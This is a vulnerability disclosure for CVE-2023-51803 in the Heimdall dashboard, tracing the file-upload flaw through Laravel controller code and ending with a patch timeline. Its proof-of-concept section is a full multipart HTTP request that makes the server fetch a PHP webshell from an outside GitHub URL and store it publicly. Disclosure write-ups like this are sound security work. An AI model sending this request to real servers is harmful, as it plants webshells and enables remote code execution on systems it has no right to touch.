..
CVE-2023-51803 - Authenticated Arbitrary File Upload in LinuxServer.io Heimdall
Overview
Heimdall, offered by LinuxServer.io, is an application dashboard designed to organize your web applications and links in a user-friendly way. Think of it as a customizable start page for your web browser. The Heimdall version 2.5.6 and below is found vulnerable to arbitrary file upload in uploading icon functionality. Successfully exploitation will lead to code execution in context of web server user.
Root Cause Analysis
Heimdall Application Dashboard is written in PHP and using Laravel Framework.
Entry Point - URL Routing Definition
File: routes/web.php
Route::resource('items', ItemController::class);
Routing declaration, meaning that all /items route will be handled by ItemController.class
How laravel map routing to Controller class
Verb | URI | Action | Route Name |
---|---|---|---|
GET | /items | index | items.index |
GET | /items/create | create | items.create |
POST | /items | store | items.store |
GET | /items/{id} | show | items.show |
GET | /items/{id}/edit | edit | items.edit |
PUT/PATCH | /items/{id} | update | items.update |
DELETE | /items/{id} | destroy | items.destroy |
Controller Class
File: app/Http/Controllers/ItemController.php
Line: 290-298
public function store(Request $request): RedirectResponse # <-- [1]
{
self::storelogic($request); # <-- [2]
$route = route('dash', []);
return redirect($route)
->with('success', __('app.alert.success.item_created'));
}
storeLogic:
public static function storelogic(Request $request, $id = null): Item
{
$application = Application::single($request->input('appid'));
$validatedData = $request->validate([
'title' => 'required|max:255',
'url' => 'required',
]);
if ($request->hasFile('file')) {
$path = $request->file('file')->store('icons'); # <-- [2.5]
$request->merge([
'icon' => $path,
]);
} elseif (strpos($request->input('icon'), 'http') === 0) { # <-- [3]
$options = array(
"ssl" => array(
"verify_peer" => false,
"verify_peer_name" => false,
),
);
$contents = file_get_contents($request->input('icon'), false, stream_context_create($options)); # <-- [4]
if ($application) {
$icon = $application->icon;
} else {
$file = $request->input('icon');
$path_parts = pathinfo($file);
$icon = md5($contents); # <-- [5]
$icon .= '.' . $path_parts['extension'];
}
$path = 'icons/' . $icon;
// Private apps could have here duplicated icons folder
if (strpos($path, 'icons/icons/') !== false) {
$path = str_replace('icons/icons/', 'icons/', $path);
}
if (!Storage::disk('public')->exists($path)) {
Storage::disk('public')->put($path, $contents); # <-- [6]
}
$request->merge([
'icon' => $path,
]);
}
Application Logic Flow
- [1] Update item method
- [2] All $request is passed to storeLogic function
- [2.5] Arbitrary file upload via parameter
file
- [3] Application check if value of param
icon
containhttp
- [4] Do HTTP Request to the URL
- [5] File name generation algorithm
- [6] Saved to public/icons/md5($file_content).$extension
Proof of Concept
POST /items/2 HTTP/1.1
[snip request header]
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="_method"
PATCH
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="_token"
[ token ]
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="pinned"
0
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="appid"
null
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="website"
https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/up.php
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="title"
xxxx
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="colour"
#161b1f
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="url"
https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/up.php
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="tags[]"
0
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="icon";
https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/up.php
-----------------------------317412227619173808982867681029
Content-Disposition: form-data; name="appdescription"
app desc
-----------------------------317412227619173808982867681029--
Disclosure Timeline
- 2023-05-30: Contact developer via Discord
- 2023-06-05: Initial Fix
- 2023-06-06: Improved Fix
- 2023-09-21: Version v2.5.7 Released
- 2023-12-18: Requested CVE from Mitre
- 2024-01-11: CVE-2023-51803 Assigned